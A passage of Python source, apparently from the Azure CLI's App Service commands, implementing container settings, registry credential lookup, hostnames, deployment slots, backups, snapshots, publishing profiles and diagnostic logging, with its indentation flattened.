registry_name = (parsed.netloc if parsed.scheme else parsed.path).split('.')[0]
try:
docker_registry_server_user, docker_registry_server_password = _get_acr_cred(cmd.cli_ctx, registry_name)
except Exception as ex: # pylint: disable=broad-except
logger.warning("Retrieving credentials failed with an exception:'%s'", ex) # consider throw if needed
if docker_registry_server_user is not None:
settings.append('DOCKER_REGISTRY_SERVER_USERNAME=' + docker_registry_server_user)
if docker_registry_server_password is not None:
settings.append('DOCKER_REGISTRY_SERVER_PASSWORD=' + docker_registry_server_password)
if websites_enable_app_service_storage:
settings.append('WEBSITES_ENABLE_APP_SERVICE_STORAGE=' + websites_enable_app_service_storage)
if docker_registry_server_user or docker_registry_server_password or docker_registry_server_url or websites_enable_app_service_storage: # pylint: disable=line-too-long
update_app_settings(cmd, resource_group_name, name, settings, slot)
settings = get_app_settings(cmd, resource_group_name, name, slot)
if docker_custom_image_name is not None:
_add_fx_version(cmd, resource_group_name, name, docker_custom_image_name, slot)
if multicontainer_config_file and multicontainer_config_type:
encoded_config_file = _get_linux_multicontainer_encoded_config_from_file(multicontainer_config_file)
linux_fx_version = _format_fx_version(encoded_config_file, multicontainer_config_type)
update_site_configs(cmd, resource_group_name, name, linux_fx_version=linux_fx_version, slot=slot)
elif multicontainer_config_file or multicontainer_config_type:
logger.warning('Must change both settings --multicontainer-config-file FILE --multicontainer-config-type TYPE')
return _mask_creds_related_appsettings(_filter_for_container_settings(cmd, resource_group_name, name, settings,
slot=slot))
def update_container_settings_functionapp(cmd, resource_group_name, name, docker_registry_server_url=None,
docker_custom_image_name=None, docker_registry_server_user=None,
docker_registry_server_password=None, slot=None):
return update_container_settings(cmd, resource_group_name, name, docker_registry_server_url,
docker_custom_image_name, docker_registry_server_user, None,
docker_registry_server_password, multicontainer_config_type=None,
multicontainer_config_file=None, slot=slot)
def _get_acr_cred(cli_ctx, registry_name):
from azure.mgmt.containerregistry import ContainerRegistryManagementClient
from azure.cli.core.commands.parameters import get_resources_in_subscription
client = get_mgmt_service_client(cli_ctx, ContainerRegistryManagementClient).registries
result = get_resources_in_subscription(cli_ctx, 'Microsoft.ContainerRegistry/registries')
result = [item for item in result if item.name.lower() == registry_name]
if not result or len(result) > 1:
raise CLIError("No resource or more than one were found with name '{}'.".format(registry_name))
resource_group_name = parse_resource_id(result[0].id)['resource_group']
registry = client.get(resource_group_name, registry_name)
if registry.admin_user_enabled: # pylint: disable=no-member
cred = client.list_credentials(resource_group_name, registry_name)
return cred.username, cred.passwords[0].value
raise CLIError("Failed to retrieve container registry credentials. Please either provide the "
"credentials or run 'az acr update -n {} --admin-enabled true' to enable "
"admin first.".format(registry_name))
def delete_container_settings(cmd, resource_group_name, name, slot=None):
_delete_linux_fx_version(cmd, resource_group_name, name, slot)
delete_app_settings(cmd, resource_group_name, name, CONTAINER_APPSETTING_NAMES, slot)
def show_container_settings(cmd, resource_group_name, name, show_multicontainer_config=None, slot=None):
settings = get_app_settings(cmd, resource_group_name, name, slot)
return _mask_creds_related_appsettings(_filter_for_container_settings(cmd, resource_group_name, name, settings,
show_multicontainer_config, slot))
def show_container_settings_functionapp(cmd, resource_group_name, name, slot=None):
return show_container_settings(cmd, resource_group_name, name, show_multicontainer_config=None, slot=slot)
def _filter_for_container_settings(cmd, resource_group_name, name, settings,
show_multicontainer_config=None, slot=None):
result = [x for x in settings if x['name'] in CONTAINER_APPSETTING_NAMES]
fx_version = _get_fx_version(cmd, resource_group_name, name, slot).strip()
if fx_version:
added_image_name = {'name': 'DOCKER_CUSTOM_IMAGE_NAME',
'value': fx_version}
result.append(added_image_name)
if show_multicontainer_config:
decoded_value = _get_linux_multicontainer_decoded_config(cmd, resource_group_name, name, slot)
decoded_image_name = {'name': 'DOCKER_CUSTOM_IMAGE_NAME_DECODED',
'value': decoded_value}
result.append(decoded_image_name)
return result
# TODO: remove this when #3660(service tracking issue) is resolved
def _mask_creds_related_appsettings(settings):
for x in [x1 for x1 in settings if x1 in APPSETTINGS_TO_MASK]:
settings[x] = None
return settings
def add_hostname(cmd, resource_group_name, webapp_name, hostname, slot=None):
from azure.mgmt.web.models import HostNameBinding
client = web_client_factory(cmd.cli_ctx)
webapp = client.web_apps.get(resource_group_name, webapp_name)
if not webapp:
raise CLIError("'{}' app doesn't exist".format(webapp_name))
binding = HostNameBinding(site_name=webapp.name)
if slot is None:
return client.web_apps.create_or_update_host_name_binding(resource_group_name=resource_group_name,
name=webapp.name, host_name=hostname,
host_name_binding=binding)
return client.web_apps.create_or_update_host_name_binding_slot(resource_group_name=resource_group_name,
name=webapp.name, host_name=hostname,
slot=slot, host_name_binding=binding)
def delete_hostname(cmd, resource_group_name, webapp_name, hostname, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot is None:
return client.web_apps.delete_host_name_binding(resource_group_name, webapp_name, hostname)
return client.web_apps.delete_host_name_binding_slot(resource_group_name, webapp_name, slot, hostname)
def list_hostnames(cmd, resource_group_name, webapp_name, slot=None):
result = list(_generic_site_operation(cmd.cli_ctx, resource_group_name, webapp_name,
'list_host_name_bindings', slot))
for r in result:
r.name = r.name.split('/')[-1]
return result
def get_external_ip(cmd, resource_group_name, webapp_name):
SslState = cmd.get_models('SslState')
# logics here are ported from portal
client = web_client_factory(cmd.cli_ctx)
webapp = client.web_apps.get(resource_group_name, webapp_name)
if not webapp:
raise CLIError("'{}' app doesn't exist".format(webapp_name))
if webapp.hosting_environment_profile:
address = client.app_service_environments.list_vips(
resource_group_name, webapp.hosting_environment_profile.name)
if address.internal_ip_address:
ip_address = address.internal_ip_address
else:
vip = next((s for s in webapp.host_name_ssl_states if s.ssl_state == SslState.ip_based_enabled), None)
ip_address = vip.virtual_ip if vip else address.service_ip_address
else:
ip_address = _resolve_hostname_through_dns(webapp.default_host_name)
return {'ip': ip_address}
def _resolve_hostname_through_dns(hostname):
import socket
return socket.gethostbyname(hostname)
def create_webapp_slot(cmd, resource_group_name, webapp, slot, configuration_source=None):
Site, SiteConfig, NameValuePair = cmd.get_models('Site', 'SiteConfig', 'NameValuePair')
client = web_client_factory(cmd.cli_ctx)
site = client.web_apps.get(resource_group_name, webapp)
site_config = get_site_configs(cmd, resource_group_name, webapp, None)
if not site:
raise CLIError("'{}' app doesn't exist".format(webapp))
if 'functionapp' in site.kind:
raise CLIError("'{}' is a function app. Please use `az functionapp deployment slot create`.".format(webapp))
location = site.location
slot_def = Site(server_farm_id=site.server_farm_id, location=location)
slot_def.site_config = SiteConfig()
# if it is a Windows Container site, at least pass the necessary
# app settings to perform the container image validation:
if configuration_source and site_config.windows_fx_version:
# get settings from the source
clone_from_prod = configuration_source.lower() == webapp.lower()
src_slot = None if clone_from_prod else configuration_source
app_settings = _generic_site_operation(cmd.cli_ctx, resource_group_name, webapp,
'list_application_settings', src_slot)
settings = []
for k, v in app_settings.properties.items():
if k in ("DOCKER_REGISTRY_SERVER_USERNAME", "DOCKER_REGISTRY_SERVER_PASSWORD",
"DOCKER_REGISTRY_SERVER_URL"):
settings.append(NameValuePair(name=k, value=v))
slot_def.site_config = SiteConfig(app_settings=settings)
poller = client.web_apps.begin_create_or_update_slot(resource_group_name, webapp, site_envelope=slot_def, slot=slot)
result = LongRunningOperation(cmd.cli_ctx)(poller)
if configuration_source:
update_slot_configuration_from_source(cmd, client, resource_group_name, webapp, slot, configuration_source)
result.name = result.name.split('/')[-1]
return result
def create_functionapp_slot(cmd, resource_group_name, name, slot, configuration_source=None):
Site = cmd.get_models('Site')
client = web_client_factory(cmd.cli_ctx)
site = client.web_apps.get(resource_group_name, name)
if not site:
raise CLIError("'{}' function app doesn't exist".format(name))
location = site.location
slot_def = Site(server_farm_id=site.server_farm_id, location=location)
poller = client.web_apps.begin_create_or_update_slot(resource_group_name, name, site_envelope=slot_def, slot=slot)
result = LongRunningOperation(cmd.cli_ctx)(poller)
if configuration_source:
update_slot_configuration_from_source(cmd, client, resource_group_name, name, slot, configuration_source)
result.name = result.name.split('/')[-1]
return result
def update_slot_configuration_from_source(cmd, client, resource_group_name, webapp, slot, configuration_source=None):
clone_from_prod = configuration_source.lower() == webapp.lower()
site_config = get_site_configs(cmd, resource_group_name, webapp,
None if clone_from_prod else configuration_source)
_generic_site_operation(cmd.cli_ctx, resource_group_name, webapp,
'update_configuration', slot, site_config)
# slot create doesn't clone over the app-settings and connection-strings, so we do it here
# also make sure slot settings don't get propagated.
slot_cfg_names = client.web_apps.list_slot_configuration_names(resource_group_name, webapp)
src_slot = None if clone_from_prod else configuration_source
app_settings = _generic_site_operation(cmd.cli_ctx, resource_group_name, webapp,
'list_application_settings',
src_slot)
for a in slot_cfg_names.app_setting_names or []:
app_settings.properties.pop(a, None)
connection_strings = _generic_site_operation(cmd.cli_ctx, resource_group_name, webapp,
'list_connection_strings',
src_slot)
for a in slot_cfg_names.connection_string_names or []:
connection_strings.properties.pop(a, None)
_generic_settings_operation(cmd.cli_ctx, resource_group_name, webapp,
'update_application_settings',
app_settings, slot, client)
_generic_settings_operation(cmd.cli_ctx, resource_group_name, webapp,
'update_connection_strings',
connection_strings, slot, client)
def config_source_control(cmd, resource_group_name, name, repo_url, repository_type='git', branch=None, # pylint: disable=too-many-locals
manual_integration=None, git_token=None, slot=None, github_action=None):
client = web_client_factory(cmd.cli_ctx)
location = _get_location_from_webapp(client, resource_group_name, name)
from azure.mgmt.web.models import SiteSourceControl, SourceControl
if git_token:
sc = SourceControl(location=location, source_control_name='GitHub', token=git_token)
client.update_source_control('GitHub', sc)
source_control = SiteSourceControl(location=location, repo_url=repo_url, branch=branch,
is_manual_integration=manual_integration,
is_mercurial=(repository_type != 'git'), is_git_hub_action=bool(github_action))
# SCC config can fail if previous commands caused SCMSite shutdown, so retry here.
for i in range(5):
try:
poller = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'begin_create_or_update_source_control',
slot, source_control)
return LongRunningOperation(cmd.cli_ctx)(poller)
except Exception as ex: # pylint: disable=broad-except
import re
ex = ex_handler_factory(no_throw=True)(ex)
# for non server errors(50x), just throw; otherwise retry 4 times
if i == 4 or not re.findall(r'\(50\d\)', str(ex)):
raise
logger.warning('retrying %s/4', i + 1)
time.sleep(5) # retry in a moment
def update_git_token(cmd, git_token=None):
'''
Update source control token cached in Azure app service. If no token is provided,
the command will clean up existing token.
'''
client = web_client_factory(cmd.cli_ctx)
from azure.mgmt.web.models import SourceControl
sc = SourceControl(name='not-really-needed', source_control_name='GitHub', token=git_token or '')
return client.update_source_control('GitHub', sc)
def show_source_control(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get_source_control', slot)
def delete_source_control(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'delete_source_control', slot)
def enable_local_git(cmd, resource_group_name, name, slot=None):
client = web_client_factory(cmd.cli_ctx)
site_config = get_site_configs(cmd, resource_group_name, name, slot)
site_config.scm_type = 'LocalGit'
_generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'create_or_update_configuration', slot, site_config)
return {'url': _get_local_git_url(cmd.cli_ctx, client, resource_group_name, name, slot)}
def sync_site_repo(cmd, resource_group_name, name, slot=None):
try:
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'sync_repository', slot)
except CloudError as ex: # Because of bad spec, sdk throws on 200. We capture it here
if ex.status_code not in [200, 204]:
raise ex
def list_app_service_plans(cmd, resource_group_name=None):
client = web_client_factory(cmd.cli_ctx)
if resource_group_name is None:
plans = list(client.app_service_plans.list(detailed=True)) # enables querying "numberOfSites"
else:
plans = list(client.app_service_plans.list_by_resource_group(resource_group_name))
for plan in plans:
# prune a few useless fields
del plan.geo_region
del plan.subscription
return plans
def create_app_service_plan(cmd, resource_group_name, name, is_linux, hyper_v, per_site_scaling=False,
app_service_environment=None, sku='B1', number_of_workers=None, location=None,
tags=None, no_wait=False, zone_redundant=False):
HostingEnvironmentProfile, SkuDescription, AppServicePlan = cmd.get_models(
'HostingEnvironmentProfile', 'SkuDescription', 'AppServicePlan')
client = web_client_factory(cmd.cli_ctx)
if app_service_environment:
if hyper_v:
raise ArgumentUsageError('Windows containers is not yet supported in app service environment')
ase_list = client.app_service_environments.list()
ase_found = False
ase = None
for ase in ase_list:
if ase.name.lower() == app_service_environment.lower() or ase.id.lower() == app_service_environment.lower():
ase_def = HostingEnvironmentProfile(id=ase.id)
location = ase.location
ase_found = True
break
if not ase_found:
err_msg = "App service environment '{}' not found in subscription.".format(app_service_environment)
raise ResourceNotFoundError(err_msg)
else: # Non-ASE
ase_def = None
if location is None:
location = _get_location_from_resource_group(cmd.cli_ctx, resource_group_name)
# the api is odd on parameter naming, have to live with it for now
sku_def = SkuDescription(tier=get_sku_name(sku), name=sku, capacity=number_of_workers)
plan_def = AppServicePlan(location=location, tags=tags, sku=sku_def,
reserved=(is_linux or None), hyper_v=(hyper_v or None), name=name,
per_site_scaling=per_site_scaling, hosting_environment_profile=ase_def)
# TODO use zone_redundant field on ASP model when we switch to SDK version 5.0.0
if zone_redundant:
plan_def.enable_additional_properties_sending()
existing_properties = plan_def.serialize()["properties"]
plan_def.additional_properties["properties"] = existing_properties
plan_def.additional_properties["properties"]["zoneRedundant"] = True
if number_of_workers is None:
sku_def.capacity = 3
else:
sku_def.capacity = max(3, number_of_workers)
return sdk_no_wait(no_wait, client.app_service_plans.begin_create_or_update, name=name,
resource_group_name=resource_group_name, app_service_plan=plan_def)
def update_app_service_plan(instance, sku=None, number_of_workers=None):
if number_of_workers is None and sku is None:
logger.warning('No update is done. Specify --sku and/or --number-of-workers.')
sku_def = instance.sku
if sku is not None:
sku = _normalize_sku(sku)
sku_def.tier = get_sku_name(sku)
sku_def.name = sku
if number_of_workers is not None:
sku_def.capacity = number_of_workers
instance.sku = sku_def
return instance
def show_plan(cmd, resource_group_name, name):
from azure.cli.core.commands.client_factory import get_subscription_id
client = web_client_factory(cmd.cli_ctx)
serverfarm_url_base = 'subscriptions/{}/resourceGroups/{}/providers/Microsoft.Web/serverfarms/{}?api-version={}'
subscription_id = get_subscription_id(cmd.cli_ctx)
serverfarm_url = serverfarm_url_base.format(subscription_id, resource_group_name, name, client.DEFAULT_API_VERSION)
request_url = cmd.cli_ctx.cloud.endpoints.resource_manager + serverfarm_url
response = send_raw_request(cmd.cli_ctx, "GET", request_url)
return response.json()
def update_functionapp_app_service_plan(cmd, instance, sku=None, number_of_workers=None, max_burst=None):
instance = update_app_service_plan(instance, sku, number_of_workers)
if max_burst is not None:
if not is_plan_elastic_premium(cmd, instance):
raise CLIError("Usage error: --max-burst is only supported for Elastic Premium (EP) plans")
max_burst = validate_range_of_int_flag('--max-burst', max_burst, min_val=0, max_val=20)
instance.maximum_elastic_worker_count = max_burst
if number_of_workers is not None:
number_of_workers = validate_range_of_int_flag('--number-of-workers / --min-instances',
number_of_workers, min_val=0, max_val=20)
return update_app_service_plan(instance, sku, number_of_workers)
def show_backup_configuration(cmd, resource_group_name, webapp_name, slot=None):
try:
return _generic_site_operation(cmd.cli_ctx, resource_group_name, webapp_name,
'get_backup_configuration', slot)
except Exception: # pylint: disable=broad-except
raise CLIError('Backup configuration not found')
def list_backups(cmd, resource_group_name, webapp_name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, webapp_name, 'list_backups', slot)
def create_backup(cmd, resource_group_name, webapp_name, storage_account_url,
db_name=None, db_type=None,
db_connection_string=None, backup_name=None, slot=None):
BackupRequest = cmd.get_models('BackupRequest')
client = web_client_factory(cmd.cli_ctx)
if backup_name and backup_name.lower().endswith('.zip'):
backup_name = backup_name[:-4]
db_setting = _create_db_setting(cmd, db_name, db_type=db_type, db_connection_string=db_connection_string)
backup_request = BackupRequest(backup_name=backup_name,
storage_account_url=storage_account_url, databases=db_setting)
if slot:
return client.web_apps.backup_slot(resource_group_name, webapp_name, backup_request, slot)
return client.web_apps.backup(resource_group_name, webapp_name, backup_request)
def update_backup_schedule(cmd, resource_group_name, webapp_name, storage_account_url=None,
frequency=None, keep_at_least_one_backup=None,
retention_period_in_days=None, db_name=None,
db_connection_string=None, db_type=None, backup_name=None, slot=None):
BackupSchedule, BackupRequest = cmd.get_models('BackupSchedule', 'BackupRequest')
configuration = None
if backup_name and backup_name.lower().endswith('.zip'):
backup_name = backup_name[:-4]
if not backup_name:
backup_name = '{0}_{1}'.format(webapp_name, datetime.datetime.utcnow().strftime('%Y%m%d%H%M'))
try:
configuration = _generic_site_operation(cmd.cli_ctx, resource_group_name, webapp_name,
'get_backup_configuration', slot)
except Exception: # pylint: disable=broad-except
# No configuration set yet
if not all([storage_account_url, frequency, retention_period_in_days,
keep_at_least_one_backup]):
raise CLIError('No backup configuration found. A configuration must be created. ' +
'Usage: --container-url URL --frequency TIME --retention DAYS ' +
'--retain-one TRUE/FALSE')
# If arguments were not specified, use the values in the current backup schedule
if storage_account_url is None:
storage_account_url = configuration.storage_account_url
if retention_period_in_days is None:
retention_period_in_days = configuration.backup_schedule.retention_period_in_days
if keep_at_least_one_backup is None:
keep_at_least_one_backup = configuration.backup_schedule.keep_at_least_one_backup
else:
keep_at_least_one_backup = keep_at_least_one_backup.lower() == 'true'
if frequency:
# Parse schedule frequency
frequency_num, frequency_unit = _parse_frequency(cmd, frequency)
else:
frequency_num = configuration.backup_schedule.frequency_interval
frequency_unit = configuration.backup_schedule.frequency_unit
if configuration and configuration.databases:
db = configuration.databases[0]
db_type = db_type or db.database_type
db_name = db_name or db.name
db_connection_string = db_connection_string or db.connection_string
db_setting = _create_db_setting(cmd, db_name, db_type=db_type, db_connection_string=db_connection_string)
backup_schedule = BackupSchedule(frequency_interval=frequency_num, frequency_unit=frequency_unit.name,
keep_at_least_one_backup=keep_at_least_one_backup,
retention_period_in_days=retention_period_in_days)
backup_request = BackupRequest(backup_request_name=backup_name, backup_schedule=backup_schedule,
enabled=True, storage_account_url=storage_account_url,
databases=db_setting)
return _generic_site_operation(cmd.cli_ctx, resource_group_name, webapp_name, 'update_backup_configuration',
slot, backup_request)
def restore_backup(cmd, resource_group_name, webapp_name, storage_account_url, backup_name,
db_name=None, db_type=None, db_connection_string=None,
target_name=None, overwrite=None, ignore_hostname_conflict=None, slot=None):
RestoreRequest = cmd.get_models('RestoreRequest')
client = web_client_factory(cmd.cli_ctx)
storage_blob_name = backup_name
if not storage_blob_name.lower().endswith('.zip'):
storage_blob_name += '.zip'
db_setting = _create_db_setting(cmd, db_name, db_type=db_type, db_connection_string=db_connection_string)
restore_request = RestoreRequest(storage_account_url=storage_account_url,
blob_name=storage_blob_name, overwrite=overwrite,
site_name=target_name, databases=db_setting,
ignore_conflicting_host_names=ignore_hostname_conflict)
if slot:
return client.web_apps.restore_slot(resource_group_name, webapp_name, 0, restore_request, slot)
return client.web_apps.restore(resource_group_name, webapp_name, 0, restore_request)
def list_snapshots(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'list_snapshots',
slot)
def restore_snapshot(cmd, resource_group_name, name, time, slot=None, restore_content_only=False, # pylint: disable=redefined-outer-name
source_resource_group=None, source_name=None, source_slot=None):
from azure.cli.core.commands.client_factory import get_subscription_id
SnapshotRecoverySource, SnapshotRestoreRequest = cmd.get_models('SnapshotRecoverySource', 'SnapshotRestoreRequest')
client = web_client_factory(cmd.cli_ctx)
recover_config = not restore_content_only
if all([source_resource_group, source_name]):
# Restore from source app to target app
sub_id = get_subscription_id(cmd.cli_ctx)
source_id = "/subscriptions/" + sub_id + "/resourceGroups/" + source_resource_group + \
"/providers/Microsoft.Web/sites/" + source_name
if source_slot:
source_id = source_id + "/slots/" + source_slot
source = SnapshotRecoverySource(id=source_id)
request = SnapshotRestoreRequest(overwrite=False, snapshot_time=time, recovery_source=source,
recover_configuration=recover_config)
if slot:
return client.web_apps.restore_snapshot_slot(resource_group_name, name, request, slot)
return client.web_apps.restore_snapshot(resource_group_name, name, request)
if any([source_resource_group, source_name]):
raise CLIError('usage error: --source-resource-group and --source-name must both be specified if one is used')
# Overwrite app with its own snapshot
request = SnapshotRestoreRequest(overwrite=True, snapshot_time=time, recover_configuration=recover_config)
if slot:
return client.web_apps.restore_snapshot_slot(resource_group_name, name, request, slot)
return client.web_apps.restore_snapshot(resource_group_name, name, request)
# pylint: disable=inconsistent-return-statements
def _create_db_setting(cmd, db_name, db_type, db_connection_string):
DatabaseBackupSetting = cmd.get_models('DatabaseBackupSetting')
if all([db_name, db_type, db_connection_string]):
return [DatabaseBackupSetting(database_type=db_type, name=db_name, connection_string=db_connection_string)]
if any([db_name, db_type, db_connection_string]):
raise CLIError('usage error: --db-name NAME --db-type TYPE --db-connection-string STRING')
def _parse_frequency(cmd, frequency):
FrequencyUnit = cmd.get_models('FrequencyUnit')
unit_part = frequency.lower()[-1]
if unit_part == 'd':
frequency_unit = FrequencyUnit.day
elif unit_part == 'h':
frequency_unit = FrequencyUnit.hour
else:
raise CLIError('Frequency must end with d or h for "day" or "hour"')
try:
frequency_num = int(frequency[:-1])
except ValueError:
raise CLIError('Frequency must start with a number')
if frequency_num < 0:
raise CLIError('Frequency must be positive')
return frequency_num, frequency_unit
def _get_deleted_apps_locations(cli_ctx):
client = get_mgmt_service_client(cli_ctx, ResourceType.MGMT_RESOURCE_RESOURCES)
web_provider = client.providers.get('Microsoft.Web')
del_sites_resource = next((x for x in web_provider.resource_types if x.resource_type == 'deletedSites'), None)
if del_sites_resource:
return del_sites_resource.locations
return []
def _get_local_git_url(cli_ctx, client, resource_group_name, name, slot=None):
user = client.get_publishing_user()
result = _generic_site_operation(cli_ctx, resource_group_name, name, 'get_source_control', slot)
parsed = urlparse(result.repo_url)
return '{}://{}@{}/{}.git'.format(parsed.scheme, user.publishing_user_name,
parsed.netloc, name)
def _get_scm_url(cmd, resource_group_name, name, slot=None):
from azure.mgmt.web.models import HostType
app = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
for host in app.host_name_ssl_states or []:
if host.host_type == HostType.repository:
return "https://{}".format(host.name)
# this should not happen, but throw anyway
raise ValueError('Failed to retrieve Scm Uri')
def get_publishing_user(cmd):
client = web_client_factory(cmd.cli_ctx)
return client.get_publishing_user()
def set_deployment_user(cmd, user_name, password=None):
'''
Update deployment credentials.(Note, all webapps in your subscription will be impacted)
'''
User = cmd.get_models('User')
client = web_client_factory(cmd.cli_ctx)
user = User(publishing_user_name=user_name)
if password is None:
try:
password = prompt_pass(msg='Password: ', confirm=True)
except NoTTYException:
raise CLIError('Please specify both username and password in non-interactive mode.')
user.publishing_password = password
return client.update_publishing_user(user)
def list_publishing_credentials(cmd, resource_group_name, name, slot=None):
content = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'begin_list_publishing_credentials', slot)
return content.result()
def list_publish_profiles(cmd, resource_group_name, name, slot=None, xml=False):
import xmltodict
content = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'list_publishing_profile_xml_with_secrets', slot, {"format": "WebDeploy"})
full_xml = ''
for f in content:
full_xml += f.decode()
if not xml:
profiles = xmltodict.parse(full_xml, xml_attribs=True)['publishData']['publishProfile']
converted = []
if not isinstance(profiles, list):
profiles = [profiles]
for profile in profiles:
new = {}
for key in profile:
# strip the leading '@' xmltodict put in for attributes
new[key.lstrip('@')] = profile[key]
converted.append(new)
return converted
cmd.cli_ctx.invocation.data['output'] = 'tsv'
return full_xml
def enable_cd(cmd, resource_group_name, name, enable, slot=None):
settings = []
settings.append("DOCKER_ENABLE_CI=" + enable)
update_app_settings(cmd, resource_group_name, name, settings, slot)
return show_container_cd_url(cmd, resource_group_name, name, slot)
def show_container_cd_url(cmd, resource_group_name, name, slot=None):
settings = get_app_settings(cmd, resource_group_name, name, slot)
docker_enabled = False
for setting in settings:
if setting['name'] == 'DOCKER_ENABLE_CI' and setting['value'] == 'true':
docker_enabled = True
break
cd_settings = {}
cd_settings['DOCKER_ENABLE_CI'] = docker_enabled
if docker_enabled:
credentials = list_publishing_credentials(cmd, resource_group_name, name, slot)
if credentials:
cd_url = credentials.scm_uri + '/docker/hook'
cd_settings['CI_CD_URL'] = cd_url
else:
cd_settings['CI_CD_URL'] = ''
return cd_settings
def view_in_browser(cmd, resource_group_name, name, slot=None, logs=False):
url = _get_url(cmd, resource_group_name, name, slot)
open_page_in_browser(url)
if logs:
get_streaming_log(cmd, resource_group_name, name, provider=None, slot=slot)
def _get_url(cmd, resource_group_name, name, slot=None):
SslState = cmd.get_models('SslState')
site = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
if not site:
raise CLIError("'{}' app doesn't exist".format(name))
url = site.enabled_host_names[0] # picks the custom domain URL incase a domain is assigned
ssl_host = next((h for h in site.host_name_ssl_states
if h.ssl_state != SslState.disabled), None)
return ('https' if ssl_host else 'http') + '://' + url
# TODO: expose new blob suport
def config_diagnostics(cmd, resource_group_name, name, level=None,
application_logging=None, web_server_logging=None,
docker_container_logging=None, detailed_error_messages=None,
failed_request_tracing=None, slot=None):
from azure.mgmt.web.models import (FileSystemApplicationLogsConfig, ApplicationLogsConfig,
AzureBlobStorageApplicationLogsConfig, SiteLogsConfig,
HttpLogsConfig, FileSystemHttpLogsConfig,
EnabledConfig)
client = web_client_factory(cmd.cli_ctx)
# TODO: ensure we call get_site only once
site = client.web_apps.get(resource_group_name, name)
if not site:
raise CLIError("'{}' app doesn't exist".format(name))
location = site.location
application_logs = None
if application_logging:
fs_log = None
blob_log = None
level = level if application_logging != 'off' else False
level = True if level is None else level
if application_logging in ['filesystem', 'off']:
fs_log = FileSystemApplicationLogsConfig(level=level)
if application_logging in ['azureblobstorage', 'off']:
blob_log = AzureBlobStorageApplicationLogsConfig(level=level, retention_in_days=3,
sas_url=None)
application_logs = ApplicationLogsConfig(file_system=fs_log,
azure_blob_storage=blob_log)
http_logs = None
server_logging_option = web_server_logging or docker_container_logging
if server_logging_option:
# TODO: az blob storage log config currently not in use, will be impelemented later.
# Tracked as Issue: #4764 on Github
filesystem_log_config = None
turned_on = server_logging_option != 'off'
if server_logging_option in ['filesystem', 'off']:
# 100 mb max log size, retention lasts 3 days. Yes we hard code it, portal does too
filesystem_log_config = FileSystemHttpLogsConfig(retention_in_mb=100, retention_in_days=3,
enabled=turned_on)
http_logs = HttpLogsConfig(file_system=filesystem_log_config, azure_blob_storage=None)
detailed_error_messages_logs = (None if detailed_error_messages is None
else EnabledConfig(enabled=detailed_error_messages))
failed_request_tracing_logs = (None if failed_request_tracing is None
else EnabledConfig(enabled=failed_request_tracing))
site_log_config = SiteLogsConfig(location=location,
application_logs=application_logs,
http_logs=http_logs,
failed_requests_tracing=failed_request_tracing_logs,
detailed_error_messages=detailed_error_messages_logs)
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'update_diagnostic_logs_config',
slot, site_log_config)
def show_diagnostic_settings(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get_diagnostic_logs_configuration', slot)
def show_deployment_log(cmd, resource_group, name, slot=None, deployment_id=None):
import urllib3
import requests
scm_url = _get_scm_url(cmd, resource_group, name, slot)
username, password = _get_site_credential(cmd.cli_ctx, resource_group, name, slot)
headers = urllib3.util.make_headers(basic_auth='{}:{}'.format(username, password))
deployment_log_url = ''
if deployment_id:
deployment_log_url = '{}/api/deployments/{}/log'.format(scm_url, deployment_id)
else:
deployments_url = '{}/api/deployments/'.format(scm_url)
response = requests.get(deployments_url, headers=headers)
if response.status_code != 200:
raise CLIError("Failed to connect to '{}' with status code '{}' and reason '{}'".format(
deployments_url, response.status_code, response.reason))
sorted_logs = sorted(
response.json(),
key=lambda x: x['start_time'],
reverse=True
)
if sorted_logs and sorted_logs[0]:
deployment_log_url = sorted_logs[0].get('log_url', '')
if deployment_log_url:
response = requests.get(deployment_log_url, headers=headers)
if response.status_code != 200:
raise CLIError("Failed to connect to '{}' with status code '{}' and reason '{}'".format(
deployment_log_url, response.status_code, response.reason))
return response.json()
return []
def list_deployment_logs(cmd, resource_group, name, slot=None):
scm_url = _get_scm_url(cmd, resource_group, name, slot)
deployment_log_url = '{}/api/deployments/'.format(scm_url)
username, password = _get_site_credential(cmd.cli_ctx, resource_group, name, slot)
import urllib3
headers = urllib3.util.make_headers(basic_auth='{}:{}'.format(username, password))
import requests
response = requests.get(deployment_log_url, headers=headers)
if response.status_code != 200:
raise CLIError("Failed to connect to '{}' with status code '{}' and reason '{}'".format(
scm_url, response.status_code, response.reason))
return response.json() or []
def config_slot_auto_swap(cmd, resource_group_name, webapp, slot, auto_swap_slot=None, disable=None):
client = web_client_factory(cmd.cli_ctx)
site_config = client.web_apps.get_configuration_slot(resource_group_name, webapp, slot)
site_config.auto_swap_slot_name = '' if disable else (auto_swap_slot or 'production')
return _generic_site_operation(cmd.cli_ctx, resource_group_name, webapp, 'update_configuration', slot, site_config)
def list_slots(cmd, resource_group_name, webapp):
client = web_client_factory(cmd.cli_ctx)
slots = list(client.web_apps.list_slots(resource_group_name, webapp))
for slot in slots:
slot.name = slot.name.split('/')[-1]
setattr(slot, 'app_service_plan', parse_resource_id(slot.server_farm_id)['name'])
del slot.server_farm_id
return slots
def swap_slot(cmd, resource_group_name, webapp, slot, target_slot=None, preserve_vnet=None, action='swap'):
client = web_client_factory(cmd.cli_ctx)
# Default isPreserveVnet to 'True' if preserve_vnet is 'None'
isPreserveVnet = preserve_vnet if preserve_vnet is not None else 'true'
# converstion from string to Boolean
isPreserveVnet = bool(isPreserveVnet == 'true')
CsmSlotEntity = cmd.get_models('CsmSlotEntity')
slot_swap_entity = CsmSlotEntity(target_slot=target_slot or 'production', preserve_vnet=isPreserveVnet)
if action == 'swap':
poller = client.web_apps.begin_swap_slot(resource_group_name, webapp, slot, slot_swap_entity)
return poller
if action == 'preview':
